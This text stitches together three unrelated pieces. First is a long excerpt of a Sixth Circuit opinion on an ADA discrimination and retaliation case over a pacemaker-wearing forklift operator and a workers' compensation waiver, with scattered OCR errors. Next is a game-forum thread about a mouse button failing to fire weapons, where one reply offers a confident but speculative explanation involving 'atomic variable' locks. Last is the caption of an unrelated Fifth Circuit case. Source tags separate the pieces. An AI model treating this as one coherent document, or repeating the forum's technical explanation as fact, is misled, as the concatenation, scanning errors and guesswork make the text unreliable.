In advancing its argument that Baker cannot be “regarded as” disabled, Windsor Republic focuses on the language in Gruener that emphasizes the necessity that an employer “entertain[] mispercep-tions” about the employee’s physical or mental condition before it can be considered to have regarded that employee as disabled. Gruener, 510 F.3d at 665. Because Windsor Republic claims that it was simply following the recommendations of Baker’s physician in refusing to allow the plaintiff to return to his job, the defendant continues to maintain that it has done nothing wrong in this matter. See, e.g., id. (employer’s “understanding of [Gruener’s] impairments and how they limited her simply tracked the specific and valid restrictions prescribed by her own doctor”).
Windsor Republic, however, mischarac-terizes the testimony of Baker’s treating physician. Far from stating that Baker was unfit to return to work with his implanted pacemaker, Dr. Agbetoyin provided the following testimony:
In my medical opinion, I felt that he should be able to—to return to work as long as he was wearing an EMF alarm.... In addition obviously he was—he is my patient, and we were going to keep monitoring the device and would do actually at [sic] follow-up visits to determine if there was any effect or malfunction from his daily activities.
[It is n]ot necessarily [true that if the alarm were to go off, he couldn’t work in the area where the alarm went off.] We would have to again—and that’s why I said one day if he were to return to work, we would bring him back and re-interrogate the device because we have to see what specific effect, if any, the device has on him. I mean, people who wear these devices go through those airport check-in things with that—that— there are precautions but not contraindications.
Thus, Windsor Republic was not simply relying on medical advice in prohibiting Baker’s unfettered return to work but, rather, was giving effect to its own motivations. In light of the definitions provided by relevant decisional precedent and by applicable regulations, therefore, the defendant did indeed regard Baker as disabled, thus establishing the first element of the plaintiffs ADA case.
At first blush, it would appear that there is little dispute that Baker also established the third element of his discrimination cause of action by demonstrating that any mistreatment he suffered was solely because of his “disability.” Indeed, the defendant offers no possible rationale or justification for not allowing Baker to return to his forklift-operator job other than the plaintiffs medical condition. As stated previously, however, this “third element requires that the plaintiff suffer an adverse employment action,” Talley, 542 F.3d at 1105, and Windsor Republic adamantly argues that no such adverse action has been taken by the company. To buttress its position, the defendant contends that Baker was not actually barred from returning to work. Instead, the company emphasizes that the plaintiff could have returned to his old position if he had simply agreed to waive any future workers’ compensation claim relating to the aggravation of his existing heart condition. Requiring an employee with a heart condition to waive workers’ compensation benefits otherwise available to non-disabled employees, however, smacks of exactly the type of discrimination that the ADA seeks to prevent.
Nevertheless, Windsor Republic suggests that exacting a waiver of workers’ compensation benefits from the plaintiff cannot be considered an adverse action because section 50-6-307(b) of the Tennessee Code Annotated allows for just such a waiver, and complying with the terms of a state statute cannot be considered “adverse.” Pursuant to the terms of the legislation:
When an employee or prospective employee has a prior history of heart disease, heart attack or coronary failure or occlusion, the employee or prospective employee may be permitted to waive in writing compensation from the employee’s or prospective employee’s employer or future employer for claims growing out of an aggravation or repetition of the condition, the waiver to be evidenced by filing with the administrator a written instrument to which shall be attached a copy of a medical statement giving the prior history of the condition, and in all those cases claims for workers’ compensation benefits growing out of an aggravation or repetition of the condition by the employee or the employee’s dependents shall be barred.
Tenn.Code Ann. § 50-6-307(b).
However, § 50-6-307(b) was enacted decades prior to the passage of the ADA. Furthermore, as recognized by the Tennessee Supreme Court:
The purpose of this amendment was to enable employees with a history of heart trouble to be employed when otherwise industry would not put them to work because of the potential claim of further disability from a recurrence of the heart trouble. This is a salutary amendment to the compensation act designed to aid in the employment of those who are handicapped in obtaining employment by reason of a prior history of heart disease or heart attack. It is a matter of common knowledge that most employers in industry require a physical examination as a prerequisite to employment and that those with a history of heart disease or heart attack have difficulty in obtaining employment because of their susceptibility to further heart difficulty.
Modern Upholstered Chair Co. v. Henry, 213 Tenn. 475, 376 S.W.2d 441, 444 (1964).
After passage of the ADA, qualified workers with a history of heart disease no longer need the “protection” afforded by the Tennessee statute in order to secure or maintain employment. Instead, the federal legislation now specifically outlaws discrimination on the basis of disability in hiring, promotion, or other privileges of employment. See 42 U.S.C. § 12112(a). Consequently, to continue to condition employment of a qualified individual with a pacemaker on the relinquishment of that employee’s workers’ compensation rights is repugnant to the ideals expressed in the broad, remedial provisions of the ADA. The “Hobson’s choice” offered to Baker in this matter was, therefore, properly considered an adverse employment action that established the third element of the plaintiffs discrimination claim.
The final hurdle Baker faced in his attempt to make out a claim of disability discrimination under the ADA was the requirement of establishing that he was qualified to perform the job he sought, with or without reasonable accommodation. It was in this pursuit that the plaintiffs quest was thwarted. Although the evidence before this court supports Baker’s assertion that he was able to operate a forklift in Windsor Republic’s plant, even the plaintiff concedes that the possibility of contact with strong electromagnetic fields within the building necessitated some accommodation of his physical condition.
The district court held, however, that binding Sixth Circuit precedent mandated “that a regarded-as disability finding would obviate the [employer’s] obligation to reasonably accommodate [the plaintiff],” citing Workman v. Fnto-Lay, Inc., 165 F.3d 460, 467 (6th Cir.1999). Baker, 2009 WL 1231035, at *9. This legal conclusion is shared by a number of our sister circuits. See, e.g., Kaplan v. N. Las Vegas, 323 F.3d 1226, 1231-33 (9th Cir.2003); Weber v. Strippit, Inc., 186 F.3d 907, 916-17 (8th Cir.1999); Newberry v. E. Tex. State Univ., 161 F.3d 276, 280 (5th Cir.1998). In determining that reasonable accommodations need not be offei'ed to employees who are only “regarded as” disabled, other courts have suggested that “[i]mposing liability on employers who fail to accommodate non-disabled employees who are simply regarded as disabled would lead to bizarre results.” Weber, 186 F.3d at 916. The Eighth Circuit explained in Weber:
Assume, for instance, that Weber’s heart condition prevented him from relocating to Akron but did not substantially limit any major life activity. Absent a perceived disability, defendants could terminate Weber without exposing themselves to liability under the ADA. If the hypothetical is altered, however, such that defendants mistakenly perceive Weber’s heart condition as substantially limiting one or more major life activities, defendants would be required to reasonably accommodate Weber’s condition by, for instance, delaying his relocation to Akron. Although Weber’s impairment is no more severe in this example than in the first, Weber would now be entitled to accommodations for a non-disabling impairment that no similarly situated employees would enjoy.
Id.
Nevertheless, Baker asks us to adopt what he asserts is the better-reasoned position espoused in several later cases by other circuits. For example, in Kelly v. Metallics West, Inc., 410 F.3d 670, 676 (10th Cir.2005), the Tenth Circuit discounted WebeVs concern for possible “bizarre results” arising from requiring reasonable accommodations for individuals regarded as disabled. In calling for the provision of such accommodations, the court in Kelly explained:
[A]n employer who is unable or unwilling to shed his or her stereotypic assumptions based on a faulty or prejudiced perception of an employee’s abilities must be prepared to accommodate the artificial limitations created by his or her own faulty perceptions. In this sense, the ADA encourages employers to become more enlightened about their employees’ capabilities, while protecting employees from employers whose attitudes remain mired in prejudice.
Id.
Likewise, in D’Angelo v. ConAgra Foods, Inc., 422 F.3d 1220, 1236 (11th Cir.2005), the Eleventh Circuit noted that the explicit language used in the ADA definition of disability “simply offers no basis for differentiating among the three types of disabilities in determining which are entitled to a reasonable accommodation and which are not.” See also Williams v. Plu- la. Hous. Auth. Police Dep’t, 380 F.3d 751, 773 (3d Cir.2004); Katz v. City Metal Co., 87 F.3d 26, 33 (1st Cir.1996). Moreover, such a “straightforward reading of the ADA is altogether consistent with the Supreme Court’s interpretation of a nearly identical provision of the Rehabilitation Act of 1973, 29 U.S.C. § 701 et seq., in School Board of Nassau County, v. Arline, 480 U.S. 273, 107 S.Ct. 1123, 94 L.Ed.2d 307 (1987).” D’Angelo, 422 F.3d at 1236.
Our opinion in Workman omits any analysis to substantiate the position that reasonable accommodations are not required in cases in which the plaintiff is only “regarded as” disabled. Instead, we cited 29 C.F.R. § 1630.2(i )(l)-(3), the regulation that merely elucidates the three methods by which an employee may be “regarded as having an impairment.” Still, Workman is a prior, published decision of this court and thus binds subsequent panels addressing the same issues upon which the earlier panel announced a holding. See, e.g., Salmi v. Sec’y of Health & Human Servs., 774 F.2d 685, 689 (6th Cir.1985) (only an en banc court may overrule circuit precedent absent an interven-, ing Supreme Court decision).
Baker attempts to circumvent the “law of the circuit” impediment to his disability-discrimination claim by contending that Workman’s reasonable-accommodation ban constituted dicta, not an actual holding of the court and, therefore, is not binding in this case. In light of the posture in which the Workman appeal was presented, however, this court’s “regarded-as” ruling was integral to the ultimate decision in the case.
Although the jury in Workman’s case was instructed on the three prongs of the ADA’s definition of “disability,” it was then asked the single question, “Did the defendant discriminate against the plaintiff by terminating her on the basis of her disability, in violation of the Americans with Disabilities Act?” Workman, 165 F.3d at 465 n. 2. The fact-finders’ answer of “yes” thus offered little insight into their decision-making process. Because on review the Workman court could not pinpoint the basis of the jury’s decision on the ADA-discrimination issue, the discussion in its opinion of both the “actual-disability” prong and the “regarded-as-having-a-disability” prong were necessary to evaluate and decide the merits of the appeal. In other words, unable to determine whether the comments in Workman concerning “regarded-as” disability were indeed the basis for the court’s decision, we cannot now discount them as dicta and ignore the precedential value of Workman in Baker’s appeal.
Baker, however, grasps hold of one final argument in his attempt to reinstate the jury verdict in this case that found Windsor Republic liable for discrimination under the provisions of the ADA. In Workman, we suggested that “[i]f the jury credited Workman’s testimony at trial, and the testimony of some Frito-Lay employees that temporarily replacing people on the line was regularly done (i.e., not a special accommodation), then they could have found for Workman under [the regarded-as] prong.” Id. at 467. Baker now argues that he has established that Windsor Republic regularly provided accommodation to employees demonstrating any disability and, therefore, that such reasonable accommodation was due and owing to him as well.
The plaintiff, however, misreads the import of the relevant language in Workman. As the district judge concluded when ruling upon the parties’ post-trial motions in this matter, Workman referenced a situation in which the employer “had a regular business practice of providing the specific accommodations that [the plaintiff] requested.” Baker, 2009 WL 1231035, at *11. Windsor Republic, on the other hand, did not regularly offer the same accommodations that Baker requested. Whereas, in Workman, the “employer routinely allowed for temporary substitutions on the line” so that employees could use the restroom, Baker has adduced no evidence that Windsor Republic “previously allowed other employees to utilize an EMF alarm, in particular, to accommodate a pacemaker.” Id. Because “[n]othing in [Workman ] suggests that an employer’s general policy of attempting to accommodate medical restrictions is sufficient to establish a regular business practice of accommodating all medical conditions,” and “[b]ecause Baker presented no evidence that established [that Windsor Republic] previously permitted use of EMF alarms or other similar accommodations he had requested, the proof at trial was insufficient for a reasonable jury to find that the Defendant discriminated against him by denying him regular accommodations.” Id. (footnote omitted).
Despite the lack of analytical support for Workman’s assertion that a finding of “regarded-as” disability would obviate an employer’s responsibility to offer reasonable accommodation to an employee, that holding remains the “law of the circuit” and binds this panel. The district court thus properly reversed the jury verdict in favor of Baker on the plaintiffs ADA-discrimination claim.
Retaliation Claim
Challenging the jury’s verdict in Baker’s favor on the retaliation claim, Windsor Republic first submits that the district court erred in denying its motion for judgment as a matter of law. “We review a district court’s refusal to grant a party’s motion for judgment as a matter of law de novo.” In re Scrap Metal Antitrust Litig., 527 F.3d 517, 532 (6th Cir. 2008), cert. denied, — U.S. —, 129 S.Ct. 1673, 173 L.Ed.2d 1037 (2009). Moreover:
In a federal question case, the standard of review for a Rule 50 motion based on the sufficiency of evidence is identical to that used by the district court. The evidence should not be weighed, and the credibility of the witnesses should not be questioned. The judgment of this court should not be substituted for that of the jury; instead, the evidence should be viewed in the light most favorable to the party against whom the motion is made, and that party given the benefit of all reasonable inferences. The motion should be granted, and the district court reversed, only if reasonable minds could not come to a conclusion other than one favoring the movant. The district court must indulge all presumptions in favor of the validity of the jury’s verdict, and should refrain from interfering with a jury’s verdict unless it is clear that the jury reached a seriously erroneous result.
Williams v. The Nashville Network [TNN ], 132 F.3d 1123, 1130-31 (6th Cir.1997) (internal quotation marks and citations omitted). The defendant cannot satisfy that onerous burden in this case.
In order to prove ADA retaliation, Baker was required to establish “that [he] engaged in protected activity; that the exercise of [his] civil rights was known by the defendant; that defendant thereafter took adverse employment action; and that a causal connection exists between the protected activity and the adverse employment action.” Walborn v. Erie Cnty. Care Facility, 150 F.3d 584, 588-89 (6th Cir.1998). On appeal, Windsor Republic does not contest the fact that the plaintiffs request for accommodation was “protected activity” and that the defendant was aware of the exercise of that right. The company does contend, however, that it took no adverse action against Baker and that Baker cannot show a causal connection between the request for accommodation and any adverse action.
Baker asserts that he suffered an adverse employment action when Windsor Republic refused to allow him to return to work unless he signed a waiver of his rights to recover under state workers’ compensation statutes for any aggravation of his heart condition. The defendant maintains that the offer of a waiver was not an adverse action because such a waiver is envisioned by legally-enacted state statutes.
Despite the effort by Windsor Republic to cast its actions in a positive light, a rational jury could conclude that the waiver request was indeed an adverse action. Trial testimony is clear that if Baker chose not to waive rights that no individual without a heart condition was required to waive, he would not be allowed to return to work for the defendant. In fact, Lawrence Land, the company’s director of human resources, engaged in the following colloquy with Baker’s lawyer:
Q Is it fair to say that as of June 2006, you did not give [Baker] the option of returning to work with the EMF alarm but without signing away his workers’ compensation benefits?
A Sir, that’s absolutely correct.
Q All right. And to this day, has he ever been given the option of returning to work with the EMF alarm but without signing away his workers’ compensation benefits?
A Sir, I’ve not had any communication with Doug since June of '06.
Q So he hasn’t—
A Other than casually, I’ve had no communication with him.
Q So he hasn’t been given that option from you; correct?
A Sir, I’ve not had any communication, so that would be correct.
Being forced to choose between forfeiting certain statutorily guaranteed rights or remaining on indefinite, unpaid leave-of-absence is indeed a dilemma that a rational finder-of-fact could conclude was adverse. And, for the reasons set forth above, Windsor Republic is not entitled to rely on Tennessee Code Annotated § 50—6—307(b), enacted three decades before the ADA, in arguing to the contrary. Hence, we conclude that Baker established the third element of his retaliation claim.
Regardless of the plaintiffs success in demonstrating other elements of a retaliation cause of action, Windsor Republic insists that Baker cannot tie the company’s alleged insistence on a waiver of workers’ compensation benefits to Baker’s request for reasonable accommodation. Again, the defendant fails to recognize the very limited role this court plays in evaluating the propriety of a jury verdict through the lens of a motion for judgment as a matter of law. Viewed with that gloss, it is not unreasonable for a jury to conclude that the adverse employment action was precipitated by Baker’s insistence on the company offering him some accommodation to allow him to continue working as a forklift operator.
Windsor Republic argues, however, that the company’s insistence on a waiver of statutory rights before the plaintiff could resume work “was caused by the ‘ambiguous and contradictory’ responses from [Baker’s] doctor and the Plaintiffs unresponsiveness to its ‘attempts to engage in the interactive process.’ ” Baker, 2009 WL 1231035, at *14. Responding to that assertion, the district court noted:
Apparently, the jury ascribed more weight to other evidence, such as the temporal proximity between the Plaintiffs request for accommodation and the adverse employment action taken by the Defendant. The jury also could have made reasonable inferences based on the Defendant’s failure to contact the manufacturer of the pacemaker, its failure to procure a qualified expert to render an opinion about alternatives, or the fact that it did not normally require its employees to waive their workers’ compensation rights. The jury might have concluded that Land’s conditioning Baker’s return on waiver of his statutory rights indicated that the Defendant subjectively considered Baker physically capable of performing his former duties, but it sought to deprive him of his workers’ compensation rights in retaliation for requesting accommodation.
Id. Consequently, in light of those possibilities and our circumscribed standard of review at this stage of the proceedings, we will not overturn the jury’s determination that Baker demonstrated the requisite causal connection between his request for accommodation and the adverse employment action.
Once a plaintiff establishes the elements of a retaliation claim, the burden shifts to the defendant “to prove by a preponderance of the evidence that the employment decision would have been the same absent the protected conduct.” Sowards v. Loudon Cnty., Tenn., 203 F.3d 426, 431 (6th Cir.2000). Windsor Republic, through the testimony of its director of human resources, satisfied this less-than-onerous burden by insisting that Baker would have been asked to sign the workers’ compensation waiver in any event because of the company’s concern for Baker’s health and for the health of Baker’s coworkers.
Faced with an employer’s purported, non-retaliatory rationale for an adverse employment action, the plaintiff in a retaliation case is afforded the opportunity “to show that the proffered reason was not its true reason but merely a pretext for retaliation.” Harris v. Metro. Gov’t of Nashville & Davidson Cnty., Tenn., 594 F.3d 476, 485 (6th Cir.2010). To do so, a plaintiff may demonstrate that the proffered reason “(1) had no basis in fact, (2) did not actually motivate the employer’s action, or (3)[was] insufficient to motivate the employer’s action.” Id. at 486 (citing Manzer v. Diamond Shamrock Chems. Co., 29 F.3d 1078, 1084 (6th Cir.1994)). To prevail ultimately, however, the plaintiff must show “both that the reason was false, and that discrimination [or retaliation] was the real reason.” Harris, 594 F.3d at 486 (emphasis and brackets in original) (quoting St. Mary’s Honor Ctr. v. Hicks, 509 U.S. 502, 515, 113 S.Ct. 2742, 125 L.Ed.2d 407 (1993)).
Baker has done so easily in this case. The idea that Windsor Republic’s requirement that the plaintiff waive his workers’ compensation benefits in order to return to work was developed out of concern for Baker’s health borders on the ludicrous. A reasonable jury could find that the employer’s stated rationale for its action had absolutely no basis in fact and that the true motivation for the action was to save the company medical payments from its self-insured workers’ compensation plan. Bound as we are by the restrictive review standard applicable to post-trial challenges such as this, we cannot say that the jury improperly determined that retaliation, and not concern for Baker’s health, was the true reason for requiring the waiver of workers’ compensation benefits before allowing the plaintiff to return to work. The district court thus correctly denied Windsor Republic’s motion for judgment as a matter of law on the plaintiffs retaliation cause of action.
Windsor Republic also contends that, if we do not direct the entry of judgment as a matter of law in its favor, we should nevertheless order a new trial on Baker’s retaliation claim. In support of its allegation, the defendant surmises that the jury must have been confused in its deliberations because the district court improperly permitted the jury to consider a discrimination claim that was unavailable to the plaintiff under Sixth Circuit precedent. Nevertheless, the jury was properly instructed on the law applicable to the retaliation claim, and Windsor Republic cannot substantiate its belief that the fact-finders must have been confused about that aspect of the litigation.
Finally, Windsor Republic contends that the jury improperly awarded compensatory damages to the plaintiff in this ADA-retaliation suit. To support its position, the defendant cites cases from other jurisdictions that have held that such damages are not available under the statutory scheme set up by Congress. See Alvarado v. Cajun Operating Co., 588 F.3d 1261, 1268-70 (9th Cir.2009); Kramer v. Banc of Am. Sec., LLC, 355 F.3d 961, 965 (7th Cir.2004). The EEOC, appearing as an amicus curiae, and Baker argue in opposition, citing other circuit court decisions that have affirmed awards of compensatory and/or punitive damages in ADA-retaliation suits. See Salitros v. Chrysler Corp., 306 F.3d 562, 574-76 (8th Cir.2002); Foster v. Time Warner Entm’t Co., 250 F.3d 1189, 1196-98 (8th Cir.2001); EEOC v. Wal-Mart Stores, Inc., 187 F.3d 1241, 1246 (10th Cir.1999); Muller v. Costello, 187 F.3d 298, 314-15 (2d Cir.1999).
Despite the time and effort expended by the parties and by the EEOC in briefing this issue, we need not address it in this appeal. In its verdict, the jury explicitly found that Windsor Republic “retaliated against Plaintiff under the ADA/THA as defined by these instructions.” Consequently, in addition to the ADA, the award of damages to Baker was predicated on the Tennessee Handicap Act, a determination that Windsor Republic does not challenge on appeal. Thus, even if compensatory damages are not allowed in ADA-retaliation suits, the jury’s decision to award such monetary relief can be approved if the Tennessee statute so permits.
The THA outlaws discrimination in employment and accords to plaintiffs under the act “all the rights provided” in sections 4-21-302 through 4-21-311 of the Tennessee Code Annotated. See Tenn.Code Ann. § 8—50—103(b)(2). Those sections of Title 4, in turn, provide recourse for individuals “aggrieved by a discriminatory practice,” see TenmCode Ann. § 4-21-302(a), a term defined to include “[rjetal-iat[ion] or discrimination] in any manner against a person because such person has ... made a charge, filed a complaint, testified, assisted or participated in any manner in any investigation, proceeding or hearing under this chapter.” Tenn.Code Ann. § 4-21-301(1). Furthermore, as remedies for any forbidden retaliation or discrimination, Tennessee law provides for administrative assessments of “damages for an injury, including humiliation and embarrassment, caused by the discriminatory practice, and cost, including a reasonable attorney’s fee,” Tenn.Code Ann. § 4-21-306(a)(7), and for judicial determinations of “actual damages ..., together with the costs of the lawsuit, including a reasonable fee for the plaintiffs attorney of record,” Tenn.Code Ann. § 4-21-311(b).
Thus, one of the two alternative bases for the jury’s award of compensatory damages in this case was not only unchallenged by Windsor Republic, but also clearly provides justification for the monetary damages assessed against the defendant. Section 12201(b) of Title 42, moreover, explicitly states:
Nothing in this chapter shall be construed to invalidate or limit the remedies, rights, and procedures of any Federal law or law of any State or political subdivision of any State or jurisdiction that provides greater or equal protection for the rights of individuals with disabilities than are afforded by this chapter.
(Emphasis added.) As a result, we need not address Windsor Republic’s argument that the language of the ADA does not also envision a compensatory-damage award upon a finding of retaliation under the federal statute.
Attorneys’ Fees
Pursuant to the provisions of 42 U.S.C. § 12205, a court presiding over an ADA action “may allow the prevailing party, other than the United States, a reasonable attorney’s fee, including litigation expenses, and costs.” Windsor Republic now maintains that because it prevailed in its effort to overturn the jury’s verdict in Baker’s ADA-discrimination cause of action, the district court erred in denying the defendant’s request to have its legal counsel compensated by the plaintiff for their work in that regard.
A district court should award such fees to a prevailing defendant in a civil rights action only “upon a finding that the plaintiffs action was frivolous, unreasonable, or without foundation, even though not brought in subjective bad faith.” Chris-tiansburg Garment Co. v. EEOC, 434 U.S. 412, 421, 98 S.Ct. 694, 54 L.Ed.2d 648 (1978). We review the decision whether to order the payment of attorneys’ fees to a successful defendant for an abuse of discretion. See, e.g., Riley v. Kurtz, 361 F.3d 906, 910 (6th Cir.2004).
Despite the defendant’s contentions to the contrary, the district court did not abuse its discretion in this matter by concluding that Baker’s ADA-discrimination claim was not so frivolous, unreasonable, or without foundation as to justify imposition of fee sanctions on the plaintiff. It is true that the district judge eventually overturned the jury’s verdict on Baker’s discrimination claim when he realized that circuit precedent foreclosed consideration of reasonable accommodations in situations in which an employee is only “regarded as,” but is not actually, disabled. Nevertheless, even were this court to conclude that circuit precedent is well-established in this regard, Baker’s claim under the ADA was not without foundation. As we have previously noted, a legitimate issue regarding the weight to be given to the relevant language in Workman existed, and Baker’s legal counsel cannot be faulted for seeking to take advantage of a seeming ambiguity in this court’s previous decision.
“An award of attorney’s fees against a losing plaintiff in a civil rights action is an extreme sanction, and must be limited to truly egregious cases of misconduct.” Jones v. Continental Corp., 789 F.2d 1225, 1232 (6th Cir.1986). The actions of plaintiffs counsel in this case do not come close to that line of impropriety. The district judge thus did not abuse his discretion in refusing to award attorneys’ fees to Windsor Republic’s counsel.
Nor do we find any merit in Windsor Republic’s contention that the district court erred in awarding attorneys’ fees to plaintiffs counsel at 120 percent of the calculated lodestar amount. Windsor Republic now maintains that such an award should be reduced because, given reversal of the jury’s verdict on the plaintiffs reasonable-accommodation claim, plaintiffs counsel did not prevail on each cause of action and, thus, did not obtain “exceptional success” or “exemplary results.” Again, our review of the fee award is limited to evaluating the district judge’s actions for an abuse of discretion. See, e.g., Cramblit v. Fikse, 33 F.3d 633, 634 (6th Cir.1994).
There is no dispute that Baker ultimately did not prevail on one of his two causes of action in this litigation. Nevertheless, the relief that the plaintiff received was not affected by the district court’s grant of judgment as a matter of law to the defendant on the reasonable-accommodation claim. Both before and after that ruling, Baker received full back pay, front pay, and compensatory damages. Because the plaintiff still obtained exactly the relief he sought, even after the district court’s partial grant of Windsor Republic’s motion for judgment as a matter of law, we cannot say that the district judge abused his discretion in denying the defendant’s request to reduce the attorneys’ fees awarded the plaintiff.
Lastly, Windsor Republic raises a challenge to the propriety of an award of supplemental attorneys’ fees to the plaintiff. After the defendant filed his initial appeal to this court, the district judge ruled that plaintiffs counsel were entitled to an additional $27,532.50 for legal work performed on post-trial motions and post-trial hearings. Again, Windsor Republic asserts that the fee award is improper because Baker did not prevail on all of his post-trial motions. In fact, maintains the defendant, the district judge actually overturned one portion of the jury verdict to the plaintiffs detriment.
For multiple reasons, Windsor Republic’s appellate argument in this regard cannot prevail. First, the defendant never responded in the district court to Baker’s claim for supplemental attorneys’ fees pri- or to filing this appeal. Second, upon referring the fee request to a magistrate judge, the district court noted:
Any objections to the magistrate judge’s order shall be made within ten (10) days after service of the order, setting forth particularly those portions of the order objected to and the reasons for the objections. Failure to timely assign as error a defect in the magistrate judge’s order will constitute a waiver of that objection.
Still, the defendant failed to identify any error in the magistrate judge’s ruling or raise any timely objection whatsoever. “The law in the Circuit is clear” that a litigant forfeits the right to appeal the district court’s ruling on a motion “by failing to object to the magistrate judge’s report and recommendation.” United States v. Branch, 537 F.3d 582, 587 (6th Cir.2008). Third, even if we were to address the substance of Windsor Republic’s challenge, the argument put forth by the defendant is without merit. In fact, the objection to the supplemental attorneys’ fee award is the same argument that we have already rejected—that Baker cannot receive attorneys’ fees because he did not prevail on every aspect of every cause of action raised in his complaint. Again, however, the plaintiff received exactly the relief he sought, and the overturning of the jury’s verdict on the reasonable-accommodation claim did nothing to diminish the ultimate benefit received by Baker.
CONCLUSION
For the reasons set out above, we AFFIRM the judgments entered by the district court in these three consolidated appeals.
. Effective April 7, 2008, the Tennessee Handicap Act was renamed the Tennessee Disability Act. See Tenn.Code Ann. § 8-50-103(a).
. The approach for determining an attorneys’fee award "whereby the court multiplies a reasonable hourly rate by the proven number of hours reasonably expended on the case by counsel” is known as the lodestar approach. Geier v. Sundquist, 372 F.3d 784, 791 (6th Cir.2004).
. Effective January 1, 2009, section 12112(a) was amended by striking the words "with a disability because of the disability of such individual" and replacing them with the phrase "on the basis of disability.” See Pub.L. 110-325, § 5(a), 122 Stat. 3557 (Sept. 25, 2008). The statutory change does not affect the analysis of the issue presented on appeal by Baker.
. The Tennessee Supreme Court has determined that it also will look to federal law for guidance in enforcing the state’s anti-discrimination laws—the THA and the THRA. See Barnes v. Goodyear Tire & Rubber Co., 48 S.W.3d 698, 705 (Tenn.2000), abrogated in part by Gossett v. Tractor Supply Co., 320 S.W.3d 777 (Tenn.2010) (disapproving the use of the burden-shifting analysis of McDonnell Douglas Corp. v. Green, 411 U.S. 792, 93 S.Ct. 1817, 36 L.Ed.2d 668 (1973), at the summary judgment stage of retaliatory discharge cases). As a result, this court's analysis of either federal or Tennessee law will be the same in this case.
. Section 12102 of title 42 was amended in 2008, effective January 1, 2009, to move the definition of "disability” to subsection (1) of the provision and to add to subpart (C) the words "(as described in paragraph (3)).” Pub.L. 110-325, § 4(a),122 Stat. 3553 (Sept. 25, 2008). After January 1, 2009, 42 U.S.C. § 12102(3) now reads:
For purposes of paragraph (1)(C):
(A) An individual meets the requirement of "being regarded as having such an impairment” if the individual establishes that he or she has been subjected to an action prohibited under this chapter because of an actual or perceived physical or mental impairment whether or not the impairment limits or is perceived to limit a major life activity.
(B) Paragraph (1)(C) shall not apply to impairments that are transitory and minor. A transitory impairment is an impairment with an actual or expected duration of 6 months or less.
. If Baker were to choose not to forfeit any potential workers’ compensation benefits, he faced the prospect of continuing on leave-without-pay status with Windsor Republic. As the United States Supreme Court held in Burlington Northern and Santa Fe Railway Co. v. White, 548 U.S. 53, 71-72, 126 S.Ct. 2405, 165 L.Ed.2d 345 (2006), even a 37-day suspension without pay, followed by reinstatement and full backpay, is an adverse employment action that serves to chill the exercise of rights guaranteed by federal anti-discrimination statutes.
. The very fact that Baker was meeting his employer’s expectations prior to the implantation of his pacemaker demonstrates that he vias previously qualified for his job. See, e.g., Ty singer v. Police Dep't of Zanesville, 463 F.3d 569, 573 (6th Cir.2006).
. Windsor Republic also argues that Baker never adduced evidence that he was able to return to work, with or without reasonable accommodations. According to the defendant, therefore, the plaintiff did not prove "disability” under the ADA. But as the district court correctly instructed the jury, to establish a retaliation claim the plaintiff need not prove he had a disability under the ADA. Rather, the protected act is the showing of a good-faith request for reasonable accommodations. See, e.g., Krouse v. Am. Sterilizer Co., 126 F.3d 494, 502 (3d Cir.1997) ("An individual who is adjudged not to be a 'qualified individual with a disability' may still pursue a retaliation claim under the ADA.”).
. The referenced sections are part of the Tennessee Human Rights Act.
. Effective April 7, 2008, § 8-50-103(b)(2) was re-designated as § 8-50-103(c)(2). See 2008 Tenn. Pub. Acts, ch. 706, § 6.
. In his response to Windsor Republic’s argument regarding the supplemental attorneys' fee award, Baker also requests additional attorneys' fees "for responding to this appeal either as the ‘prevailing party’ or because [Windsor Republic's] appeal meets the standard for frivolousness." Given the interrelated nature of these three appeals and our consolidation of them, we deny that request.
| CASELAW |
Cannot fire left mouse button weapon
For the past couple of days my main weapons will fire some of the time but when i get to close range combat they don’t work at all while my missiles are able to fire i’ve tired resetting the key bindings as well as different mice well three different ones that have all work for everything else but in game. My internet speed is no problem it’s at a constant 40+ mbps and a ping around 12-25 so any suggestions would be helpful I love this game but if I can’t play it effectively then I have no choice but to stop playing it which is the last thing i want to do i haven’t been able to find another space sim that is this much fun and free non the less.
[How to create bug reports](< base_url >/index.php?/topic/25328-how-to-create-bug-reports/)
Do you have dual KEY BINDINGS for the Main Weapon Fire?
Ive noticed that if one has two keys bound to the Main Weapon or to the Missile Bay, and you are holding one and try to use the other key, there is no action…aka a misfire.
I noticed this after mapping Main Fire to my LMB and SHIFT so that I could fire with ether hand, using mouse or keyboard.
When in a heated battle I was holding the SHIFT key down all the time firing beams with my left pinky and being right handed would without thinking click the LMB also at times. The actions cause a misfire and the weapon does not fire.
I realized what I was doing after dieing a few times and saying WTF at the screen back at the hanger. I had to stop relying on the left pinky so much. It took some habit breaking but was able to retrain myself to only fire from left or right hand and switch when they get tired of holding the SHIFT or LMB.
Basically, by double mapping the keybind for the weapons fires, you are giving two triggers to a weapon. Pull both and its a misfire. In battle when it occurs, release BOTH and pick one or the other and the weapon will fire just fine.
I read a post here the other day from a user that joked around and said that some bugs become actual features of an application. If there is the case with double mapping Weapon Fire, then by all means keep the bug and DONT correct the logic to fire when both are triggered. Because it makes sense. A weapon only has one firing trigger. Using a Star Trek reference here, on the show weapons could be fired from dual locations. That trigger was located on both the Bridge and in Engineering…and either could fire, but not both at the same time.
I dont think its a bug. It was me and dual bindings and I fully understand the decision paths and event triggers I was flowing thru in logic and causing a condition the logic can NOT flow down because even multitasking machines execute events one at a time at times and lock what is called atomic variables and do not release the lock for another task until the event completes so that another task can access the variable. Somethings just cant be shared in the internals. There is only one Main Weapon. Give it two triggers and press both, and both are in the same data packet the server sees… so which one gets the logic locks? answer, neither. Misfire Both task events cant lock the variable that holds the value of if the weapon is firing or not. Both want it in logic and only one can have it so neither get it. User error. Release and choose one or the other and trigger the event and lock the variables for processing.
With all that tech stuff said…your issue could be the same thing.
*OR*
Dude, your guns were overheating and had to cool down and missiles expended and new cartridges take time to reload into the tubes. | ESSENTIALAI-STEM |
Friedrich Wilhelm WAFFENSCHMIDT, et al., Plaintiffs-Appellees-Appellants Cross-Appellees, v. Jack W. MACKAY, Jr., et al., Defendants, Palmore Currey, II, et al., Appellants Cross-Appellees, First National Bank of Mount Vernon, Texas, Appellee Cross-Appellant Cross-Appellee.
No. 84-4012.
United States Court of Appeals, Fifth Circuit.
June 21, 1985.
Rehearing and Rehearing En Banc Denied Aug. 5,1985.
J. Robertshaw, Robertshaw & Meredith, Greenville, Miss., for Currey.
Phillip N. Cockrell, Texarkana, Tex., for First Nat. Bk. of Mt. Vernon.
Schwartz, Klink & Schreiber, James Schreiber, Stephen C. Edds, New York City, for Waffenschmidt.
